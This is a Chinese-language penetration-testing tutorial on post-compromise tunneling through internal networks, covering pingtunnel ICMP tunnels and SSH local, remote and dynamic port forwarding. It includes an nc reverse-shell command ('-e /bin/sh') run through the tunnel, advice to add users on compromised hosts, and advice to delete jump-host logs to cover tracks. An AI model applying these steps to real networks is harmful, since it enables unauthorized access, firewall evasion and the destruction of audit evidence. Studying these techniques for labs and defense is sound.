&lt;p&gt;在排除在内网中继续去打其他设备的web的情况下此时能打的还剩下什么？&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;操作系统、设备固件、服务&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;操作系统和服务的洞一般都挖不到，设备固件是有可能能打，不过一般来说也不会去挖&lt;/p&gt;
&lt;p&gt;所以内网中的攻防一般来说只有&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;0day、1day、nday&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;内网中有非常多的工具可以使用，就扫嘛，扫完我nday丢上去打&lt;/p&gt;
&lt;p&gt;然后呢这时候会出现一种情况，&lt;strong&gt;你拿到的shell，是对方机器，对方机器是没有工具的，这时候就有两种方法&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1）把工具上传到对方电脑里&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2)通过隧道技术，将我们的设备接入到对方的内网中，就像VPN那样&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;隧道技术=&amp;gt;将我们的设备接入到对方的内网中&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;进入内网后，如果要进行隧道的搭建，此时要进行的一件事情就是判断流量的连通性&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;2&amp;gt;什么是隧道呢？&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;将数据包用防火墙允许的端口或者协议来进行封装，封装后来达到一个穿透防火墙的目的&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;3&amp;gt;隧道的种类&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;多数用于通信的协议都可以作为隧道的载体&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;应用层隧道:http、https、dns、ssh&lt;/li&gt;
&lt;li&gt;传输层隧道:tcp、udp&lt;/li&gt;
&lt;li&gt;网络层隧道:icmp、ipv6、GRE&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;【GRE:通用路由封装（将一种数据包装载到另外一种类型数据包的一种方式）】&lt;/p&gt;
&lt;h3&gt;4&amp;gt;判断网络连通性&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;如何探测这些协议能出网？&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;http协议:&lt;strong&gt;wget&lt;/strong&gt;(linux)、&lt;strong&gt;curl&lt;/strong&gt;(linux)、&lt;strong&gt;Invoke-WebRequest&lt;/strong&gt;(windows)&lt;/li&gt;
&lt;li&gt;icmp协议:&lt;strong&gt;ping&lt;/strong&gt;(linux、windows)&lt;/li&gt;
&lt;li&gt;dns协议:&lt;strong&gt;dig&lt;/strong&gt;(linux),&lt;strong&gt;nslookup&lt;/strong&gt;(windows)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;用的比较多的隧道:icmp隧道、http隧道、tcp隧道&lt;/strong&gt;（tcp、udp用nc去探测就行了，一般只要正常能出网都能用）&lt;/p&gt;
&lt;p&gt;在防火墙没开放任何端口的情况下，我们该如何去搭建隧道？先看一下常见隧道载体的通信协议端口&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;http:80&lt;/li&gt;
&lt;li&gt;https:443&lt;/li&gt;
&lt;li&gt;dns:53&lt;/li&gt;
&lt;li&gt;ssh:22&lt;/li&gt;
&lt;li&gt;icmp:?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;可以发现icmp是没有端口号的，所以此时我们就要介绍一下icmp隧道&lt;/p&gt;
&lt;p&gt;ping的时候我们朝对方发送数据，对方也会向我们发送数据，就产生了一个数据的交互，于是icmp协议就可以成为一个隧道的载体进行数据的传输&lt;/p&gt;
&lt;h2&gt;3、icmp隧道&lt;/h2&gt;
&lt;p&gt;原理：通过请求和回包&lt;/p&gt;
&lt;p&gt;这种因为不需要指定服务的端口的所以他是无法被基于代理的防火墙所检测到的，所以他能直接绕过一些防火墙的检测&lt;/p&gt;
&lt;h3&gt;1&amp;gt;icmp隧道的工具&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;icmptunnel、pingtunnel&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;2&amp;gt;pingtunnel的介绍和使用&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;下载地址&lt;/strong&gt;：https://github.com/esrrhs/pingtunnel/releases&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;下载说明&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/f860a43f5f-image-20231204192321659.png&quot; alt=&quot;image-20231204192321659&quot; style=&quot;zoom: 25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;我们准备两台kali&lt;/p&gt;
&lt;p&gt;一台kali当服务端，另一条kali当客户端&lt;/p&gt;
&lt;p&gt;在服务端kali的桌面上创建server文件夹，在客户端kali的桌面上创建client文件夹&lt;/p&gt;
&lt;p&gt;这里我们以服务端kali的安装为例&lt;/p&gt;
&lt;p&gt;cd到Desktop/server&lt;/p&gt;
&lt;p&gt;在kali的root模式下输入命令&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;【pingtunnel需要在高权限的情况下执行比如说root】&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wget https://github.com/esrrhs/pingtunnel/releases/download/2.8/pingtunnel_linux_amd64.zip

unzip pingtunnel_linux_amd64.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后server文件夹里面就会出现pingtunnel&lt;/p&gt;
&lt;p&gt;另一台客户端的kali也是一样的操作，cd到Desktop/client&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/eae6de6716-image-20231204194859169.png&quot; alt=&quot;image-20231204194859169&quot; style=&quot;zoom: 25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h4&gt;1）通用参数&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;-type server | client:指定当前是 server 还是 client&lt;/li&gt;
&lt;li&gt;-key:输入密钥&lt;/li&gt;
&lt;li&gt;-nolog:不写日志，默认为0【也就是默认关闭】1是开启&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ping承载的数据小，当我们在内网访问的时候只能通过量大来解决，一旦量一大，这个日志量就会大很多，所以我们启动不写日记是为了防止命令行被日志占用的情况&lt;/p&gt;
&lt;h4&gt;2)client参数&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;-l:指定本地端口&lt;/li&gt;
&lt;li&gt;-s:转发到的服务器地址&lt;/li&gt;
&lt;li&gt;-t:目的地址 ip:port&lt;/li&gt;
&lt;li&gt;-tcp:是否转发tcp，默认0关闭，1是开启&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;3)icmp隧道和nc结合的简易搭建实验&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;host&lt;/th&gt;
&lt;th&gt;ip&lt;/th&gt;
&lt;th&gt;port&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;server&lt;/td&gt;
&lt;td&gt;192.168.23.130&lt;/td&gt;
&lt;td&gt;listen:888&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;client&lt;/td&gt;
&lt;td&gt;192.168.23.133&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;服务端【ip:192.168.23.130】&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;命令:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;nohup xxx &amp;amp; 输出重定向到nohup.out，这里是命令放到后台执行，把日志信息重定向到nohup.out文件进行输出（会自动生成nohup.out文件），注意，在把命令放到后台执行之前一定要测试命令能不能正常使用&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nohup ./pingtunnel -type server -nolog 1 &amp;amp; 

#指定当前shell为服务端，并启动不写日记，也就是不会生成日志文件，同时将日志信息重定向到nohup.out文件进行输出，也就是会多出来一个nohup.out进行输出

nc -lp 888 #监听888端口

jobs #查看后台命令

josbs -l #查看后台命令进程号PID

kill -9 PID【进程号】 #关闭后台执行命令

rm nohup.out #清理日志文件
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/3d45fb2275-image-20231204211235872.png&quot; alt=&quot;image-20231204211235872&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/cdba2a274c-image-20231204211247711.png&quot; alt=&quot;image-20231204211247711&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;客户端【ip:192.168.23.133】&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;命令:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nohup ./pingtunnel -type client -l :777 -s 192.168.23.130 -t 192.168.23.130:888 -tcp 1 &amp;amp;

#指定当前shell为客户端，并启动不写日志，也就是不会生成日志文件，这里服务器地址和目的地址是同一个，一个是指定服务器地址的，一个是指定目的地址的，要写两遍服务端的地址，将本地的777端口的流量发送到服务端的888端口【前置条件就是能相互ping通】因为我们等一下要需要通过nc进行相互连接，nc是强连接，是TCP协议，所以这里还得跟上-tcp 1这个参数，开启tcp转发

nc 127.0.0.1 777 -e /bin/sh

#向本地的777端口发起连接并执行/bin/sh，也就是打开shell的操作

rm nohup.out #清理日志文件
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/474c7f7bbf-image-20231204211306611.png&quot; alt=&quot;image-20231204211306611&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/750a19b107-image-20231204211313656.png&quot; alt=&quot;image-20231204211313656&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;之前用文字描述有可能会很乱，我们画一个图理清一下思路&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/815c098432-image-20231204205819518.png&quot; alt=&quot;image-20231204205819518&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;解释一下就是客户端将本地的777端口的流量发送到服务端的888端口，nc监听了本地的888端口，原本客户端要反弹shell应该执行的命令是 nc 192.168.23.130 888 -e /bin/sh，也就是向服务端192.168.23.130的888端口主动发起连接并执行/bin/sh也就是打开shell的操作，但是此时客户端本地的777端口就是相当于服务端的888端口，替换一下就是nc 127.0.0.1 777 -e /bin/sh，因此就能&lt;strong&gt;做到通过nc和pingtunnel的结合做到反弹本地shell的操作&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意点：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1.nohup结尾的&amp;amp;不能忘记

2.双方能ping通

3.-s参数和-t参数仔细核对

4.一般情况下都要开启tcp转发
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3&amp;gt;具体实战使用&lt;/h3&gt;
&lt;p&gt;https://www.freebuf.com/articles/network/380198.html&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/00d4c967e3-image-20231204220109715.png&quot; alt=&quot;image-20231204220109715&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;https://blog.csdn.net/qq_45300786/article/details/110943803&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/9190cb7ef4-image-20231204220408199.png&quot; alt=&quot;image-20231204220408199&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;通过pingtunnel将内网主机的3389端口映射出来到vps，再用攻击机连接实现远程操控&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;4、ssh隧道&lt;/h2&gt;
&lt;p&gt;ssh不依赖于第三方工具，而是用ssh本身就能搭建的隧道&lt;/p&gt;
&lt;p&gt;ssh是一个加密通讯的网络协议，通常用在两台机器之间做一个远程登录&lt;/p&gt;
&lt;p&gt;ssh端口还有一个协议scp，scp就是传输文件，依赖于ssh的文件传输&lt;/p&gt;
&lt;p&gt;在防火墙屏蔽了某些端口的情况下，比如3389的数据，这时候我们就可以通过一些端口转发技术，将我们的3389端口转发到其他的一些防火墙允许的端口上&lt;/p&gt;
&lt;p&gt;使用ssh的前提条件：用户密码/key&lt;/p&gt;
&lt;p&gt;一般我们渗透进去内网是拿不到他的一个密码的，shadow文件不好破，一般我们都是通过user add直接添加用户进去，最简单粗暴的方法&lt;/p&gt;
&lt;h3&gt;1&amp;gt;参数&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;-C:压缩传输&lt;/li&gt;
&lt;li&gt;-f:转入后台&lt;/li&gt;
&lt;li&gt;-N:静默连接&lt;/li&gt;
&lt;li&gt;-g:允许远程连接本地，端口转发&lt;/li&gt;
&lt;li&gt;-L:本地端口转发&lt;/li&gt;
&lt;li&gt;-R:远程端口转发&lt;/li&gt;
&lt;li&gt;-D:动态端口转发&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;ssh -CfNg -L 本地端口:目标ip:目标端口 ssh账号@ip -p 指定连接端口

#这一切都是建立在

ssh ssh账号@ip -p 指定连接端口

#譬如ssh root@43.139.221.182 -p 222

#能够正常的登录对方的前提下再去给它加参数，例如第一条命令
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;host&lt;/th&gt;
&lt;th&gt;ip&lt;/th&gt;
&lt;th&gt;port&lt;/th&gt;
&lt;th&gt;映射端口&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;出口&lt;/td&gt;
&lt;td&gt;43.139.221.182&lt;/td&gt;
&lt;td&gt;222&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;内网设备&lt;/td&gt;
&lt;td&gt;172.17.0.10&lt;/td&gt;
&lt;td&gt;22/80/3306&lt;/td&gt;
&lt;td&gt;22（内网）=&amp;gt;222（出口） &amp;lt;br /&amp;gt;80（内网）=&amp;gt;8080（内网）&amp;lt;br /&amp;gt;23&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;黑客跳板机&lt;/td&gt;
&lt;td&gt;47.96.190.113&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;首先存在一台公网服务器43.139.221.182&lt;/p&gt;
&lt;p&gt;然后在公网服务器里面创建了一台虚拟服务器&lt;/p&gt;
&lt;p&gt;然后这其实就是一个企业网:出口（公网服务器）&lt;/p&gt;
&lt;p&gt;然后出口的话他会有一个内网&lt;/p&gt;
&lt;p&gt;内网通过出口往外去映射端口&lt;/p&gt;
&lt;p&gt;然后我们就可以在公网上通过这个端口去访问内网的设备&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;企业网:出口

内网=&amp;gt;出口=&amp;gt;端口
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/41df5dd753-image-20231204232953642.png&quot; alt=&quot;image-20231204232953642&quot; style=&quot;zoom: 25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h3&gt;2&amp;gt;搭建ssh隧道连接简易实验&lt;/h3&gt;
&lt;p&gt;由于公网服务器的ssh已经搭建好了我们此时要做的就是直接连接试试&lt;/p&gt;
&lt;p&gt;扩展，公网服务器ssh搭建&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vim /etc/ssh/sshd_config  #编辑ssh的配置文件

在配置文件里面添加 PermitRootLogin yes #允许root用户登录

passwd root #重置root用户的密码

输入:&amp;lt;lab-password&amp;gt;

ssh-keygen -A  #创建ssh密钥

ssh-keygen

/etc/init.d/ssh start  #开启ssh服务
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;ssh 内网设备

host：43.139.221.182

post：222

pwd：&amp;lt;lab-password&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;命令:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ssh root@43.139.221.182 -p 222&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/cd792b5c20-image-20231205185156204.png&quot; alt=&quot;image-20231205185156204&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;可以看见通过ssh已经连接到了他的一个内网设备拿到了shell了&lt;/p&gt;
&lt;h4&gt;1)本地端口转发&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;【以下文中出现的&quot;攻击机&quot;一般都指代图示中的&quot;黑客跳板机vps&quot;，为了避免和内网跳板机混淆而写出了&quot;攻击机&quot;指代，请注意识别！】&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;web拿到一个ip然后去给它扫端口&lt;/p&gt;
&lt;p&gt;扫端口就会发现有很多个web服务，但是没有看见像什么samba服务很基础的，Linux或web自带的服务，这是因为它有可能是一个出网的云服务器或者说出网的地址，然后它通过端口映射的方式把它内网的很多个web服务全部映射出来了，这就是所谓的一个企业网&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;web=&amp;gt;ip扫端口

web服务
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;注：不知道什么是samba服务请查看链接&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://zhuanlan.zhihu.com/p/547106013&quot;&gt;samba实现共享文件（能在Windows和Linux上访问） - 知乎 (zhihu.com)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/929f360403-image-20231205201709664.png&quot; alt=&quot;image-20231205201709664&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;如果内网主机有启动web服务的话（也就是开启80端口）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cur 127.0.0.1 #查看本地运行web服务
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在要访问内网主机的web服务要怎么访问？就是访问它的80端口嘛&lt;/p&gt;
&lt;p&gt;很明显我们不能直接进行一个访问，因为有防火墙拦截着，我们就需要用本地端口转发的方式来访问内网设备的80端口,&lt;strong&gt;简单来说就是先通过ssh建立连接，然后再把内网设备的端口映射出来到攻击机的本地端口上，通过攻击机的本地端口进行访问内网的web服务端口&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;命令：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh -CfNg -L 本地端口:目标ip:目标端口 ssh账号@ip -p 指定连接端口
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;连接图示:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/2b42513be3-image-20231205200341534.png&quot; alt=&quot;image-20231205200341534&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh -CfNg -L 8080:172.17.0.10:80 root@43.139.221.182 -p 222

#先通过ssh进行连接，连接到内网设备22端口映射到公网ip的222端口，访问公网设备的222端口就是相当于访问内网设备（转入后台，静默连接），然后将内网设备的172.17.0.10的80端口映射到黑客跳板机vps本地的8080端口，所以黑客跳板机vps去访问本地的8080端口就是相当于访问内网设备的80端口

lsof -i :8080   #查询8080端口的占用，里面有ssh服务

#因为是转入后台、静默链接，这里jobs不好使，得要查询端口占用
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;如果让我们做一个本地端口转发，转发什么端口出来比较好呢？&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;3389 #远程桌面连接端口

3306 #数据库端口
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2)远程端口转发&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;远程端口转发与本地转发转发的差别&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;此时拿到了内网设备的shell，但是又无法从外部连接到内网，内网却可以连接到外网，&lt;strong&gt;远程端口转发是在内网设备shell上执行，把本地(内网设备)端口转发\映射到了目标ip的目标端口(攻击机)上，原先的本地转发转发是在攻击机shell上执行，把目标ip的目标端口(内网设备)转发\映射到了本地\攻击机端口上&lt;/strong&gt;，要看清楚&lt;strong&gt;主体&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;远程端口转发的主体是跳板机&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;【为什么说主体啊？因为本地端口转发ssh进程在电脑（攻击机）本地（用lsof -i :xxx查看）远程端口转发ssh进程在远程设备上也就是内网设备，此时内网设备(跳板机)是主体】&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;应用范围:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;攻击机无法访问内网设备（跳板机）的情况下，我们就运用远程端口转发&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;【无法访问是指网络不通的情况下，不是设备坏了，就譬如攻击机在外网打了一台内网设备（内网中有一台可以访问外网的客户机中了&lt;strong&gt;网页挂马&lt;/strong&gt;获取shell）之后，我通过这个内网设备（跳板机）作为一个跳板拿到了内网中的另外一台设备，那这个时候我们攻击机是无法直接访问这台设备的，但是这台设备可以出网并且跳板机是可以访问这台设备的，符合防火墙只出不进的原则】&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;命令:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh -CfNg -R 本地端口:目标ip:目标端口 ssh账号@ip -p 指定连接端口
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;ssh -CfNg -R 3389:47.96.190.113:3390 root@43.139.221.182 -p 222
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/c001295b71-image-20231205210704348.png&quot; alt=&quot;image-20231205210704348&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;就譬如把内网设备的3389端口主动的转发到我们本地(攻击机)，那我们就可以通过映射到攻击机的3390端口，再反过来去回连内网设备&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;【之前提到了网页挂马，&lt;strong&gt;也就是通过散播网马的形式拿到内网的shell，但是这个在实战中其实挺难实现&lt;/strong&gt;的，最常见的情况其实是我们通过渗透的方式拿到了内网设备(跳板机)，然后再通过这个内网设备(跳板机)再去拿到其他内网设备的shell，就譬如此时又拿到了另外一台内网设备的shell，然后再去用这台内网设备的shell进行一个远程端口转发，它没有做任何端口映射，我们访问不到这台内网设备，我们只能通过之前那个内网设备(跳板机)来访问到它，&lt;strong&gt;如果我们想直接访问这台内网设备，要么走跳板机，要么把这台内网设备的端口映射到黑客跳板机(vps)上&lt;/strong&gt;，这样的方法是实战中更容易出现的】&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;问:如果不用内网跳板机以什么方式进入内网合适？&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;首先它是一个内网设备，外网是无法访问到它的

要是访问都访问不到它要拿到它的一个shell的话

就只有这两种方法了:

1、木马散播(让内网设备主动反弹shell)

2、物理渗透
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3)动态端口转发&lt;/h4&gt;
&lt;p&gt;(动态端口转发&lt;strong&gt;用的也是最多的&lt;/strong&gt;，日志也比较好删，&lt;strong&gt;只需要把内网跳板机的日志全部删掉即可&lt;/strong&gt;，内网其他设备的日志不用管，因为其他设备的日志全部都是来源于内网跳板机的，所以只需要删除内网跳板机的日志，还有一种方式是把内网跳板机删掉，但是一般情况下在做一个攻防的时候是不会去删一个机器的是不被允许的)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;命令:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh -CfNg -D 1226 ssh账号@ip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;在黑客跳板机vps上输入命令&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh -CfNg -D 1226 root@43.139.221.182 -p 222

#从黑客跳板机vps开启了1226端口，此时在客户端主机进行了一个socks5代理以后，这时候浏览器的所有流量都通过这个端口走，只要流量往1226端口走，黑客跳板机vps都会帮我们转发到内网跳板机这个设备上，然后再通过这台内网跳板机设备，去访问内网其他设备的地址，实现一个将客户端的主机&quot;并入&quot;内网的操作
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/33b51edf26-image-20231205214846472.png&quot; alt=&quot;image-20231205214846472&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;然后客户端在火狐上进行一个socks5代理&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/59806d841c-image-20231205213235278.png&quot; alt=&quot;image-20231205213235278&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;又或者&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/c4b1810385-image-20231205214057738.png&quot; alt=&quot;image-20231205214057738&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;可以看见直接访问内网地址&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/1c4f05ac8e-image-20231205214000807.png&quot; alt=&quot;image-20231205214000807&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;那此时我们的客户端主机相当于&quot;并入&quot;了内网，是不是可以对内网其他存活的主机的一个80端口进行一个探测(Web探测)？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;有什么方法可以批量探测内网的设备或web服务？==&amp;gt;BP&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这时候又涉及到的一个点是BP的代理怎么走？&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;只要你是想用BP这款软件，那浏览器的代理一般首先都是先代理到BP上，那BP就需要再配置一个代理，代理到内网上&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/9a881992f1-image-20231205215709584.png&quot; alt=&quot;image-20231205215709584&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;记得把&lt;strong&gt;上游代理服务器&lt;/strong&gt;全部取消掉，只保留&lt;strong&gt;socks&lt;/strong&gt;代理&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/9b06cd5941-image-20231205215954667.png&quot; alt=&quot;image-20231205215954667&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;可以看见资源都加载出来了，我们就可以知道&lt;strong&gt;浏览器先走了BP，BP再走了代理&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;要去探测其他主机IP的话就发给Intruder模块&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/f9f781fdcd-image-20231205230356590.png&quot; alt=&quot;image-20231205230356590&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;标记出&lt;strong&gt;两个注入点&lt;/strong&gt;，然后Attack type选择&lt;strong&gt;攻城锤&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/3940837fe2-image-20231205230501280.png&quot; alt=&quot;image-20231205230501280&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;Payload的参数如图所示&lt;/p&gt;
&lt;p&gt;开始攻击！&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/353a9c7494-image-20231205230610069.png&quot; alt=&quot;image-20231205230610069&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
